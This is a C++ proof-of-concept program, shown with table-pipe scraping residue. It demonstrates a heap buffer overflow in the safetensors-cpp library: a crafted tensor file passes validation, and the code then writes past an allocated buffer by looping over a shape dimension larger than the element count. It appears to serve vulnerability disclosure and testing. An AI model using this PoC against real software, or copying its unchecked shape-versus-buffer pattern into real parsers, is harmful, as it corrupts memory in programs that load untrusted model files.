| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| |
|
| | #include <cstdio> |
| | #include <cstdint> |
| | #include <cstdlib> |
| | #include <cstring> |
| | #include <fstream> |
| | #include <vector> |
| |
|
| | #include "safetensors.hh" |
| |
|
| | |
| | |
| | |
| | |
| | void process_tensor(const safetensors::tensor_t &tensor, const uint8_t *data) { |
| | |
| | size_t dtype_bytes = safetensors::get_dtype_bytes(tensor.dtype); |
| |
|
| | |
| | size_t total_elements = safetensors::get_shape_size(tensor); |
| |
|
| | |
| | size_t buf_size = total_elements * dtype_bytes; |
| | printf(" Allocating buffer: %zu bytes\n", buf_size); |
| | float *output = (float *)malloc(buf_size); |
| |
|
| | if (!output) { |
| | printf(" malloc failed\n"); |
| | return; |
| | } |
| |
|
| | |
| | |
| | memcpy(output, data + tensor.data_offsets[0], buf_size); |
| |
|
| | printf(" Buffer allocated and filled: %zu bytes\n", buf_size); |
| |
|
| | |
| | |
| | |
| | printf(" Shape claims %zu x %zu x %zu = way more than %zu elements\n", |
| | tensor.shape[0], tensor.shape[1], tensor.shape[2], total_elements); |
| |
|
| | |
| | |
| | printf(" Iterating shape[0]=%zu elements (but buffer only has %zu)...\n", |
| | tensor.shape[0], total_elements); |
| |
|
| | |
| | |
| | for (size_t i = 0; i < tensor.shape[0] && i < 100; i++) { |
| | output[i] = 0.0f; |
| | } |
| |
|
| | printf(" OOB write triggered (ASan should report heap-buffer-overflow)\n"); |
| |
|
| | free(output); |
| | } |
| |
|
| | int main(int argc, char *argv[]) { |
| | const char *filepath = "overflow_tensor.safetensors"; |
| | if (argc > 1) filepath = argv[1]; |
| |
|
| | printf("=== safetensors-cpp Heap Overflow Crash PoC ===\n\n"); |
| |
|
| | |
| | std::ifstream ifs(filepath, std::ios::binary | std::ios::ate); |
| | if (!ifs.is_open()) { |
| | fprintf(stderr, "Failed to open %s\n", filepath); |
| | return 1; |
| | } |
| | size_t filesize = ifs.tellg(); |
| | ifs.seekg(0); |
| | std::vector<uint8_t> data(filesize); |
| | ifs.read(reinterpret_cast<char*>(data.data()), filesize); |
| | ifs.close(); |
| |
|
| | |
| | safetensors::safetensors_t st; |
| | std::string warn, err; |
| | bool ok = safetensors::load_from_memory(data.data(), data.size(), filepath, &st, &warn, &err); |
| |
|
| | if (!ok) { |
| | printf("FAILED to load: %s\n", err.c_str()); |
| | return 1; |
| | } |
| |
|
| | |
| | std::string val_err; |
| | if (!safetensors::validate_data_offsets(st, val_err)) { |
| | printf("Validation failed: %s\n", val_err.c_str()); |
| | return 1; |
| | } |
| |
|
| | printf("[+] File loaded and validated successfully\n"); |
| | printf("[*] Processing tensors...\n\n"); |
| |
|
| | |
| | for (size_t i = 0; i < st.tensors.size(); i++) { |
| | std::string key = st.tensors.keys()[i]; |
| | safetensors::tensor_t tensor; |
| | st.tensors.at(i, &tensor); |
| |
|
| | printf("Processing tensor '%s':\n", key.c_str()); |
| | process_tensor(tensor, st.storage.data()); |
| | } |
| |
|
| | return 0; |
| | } |
| |
|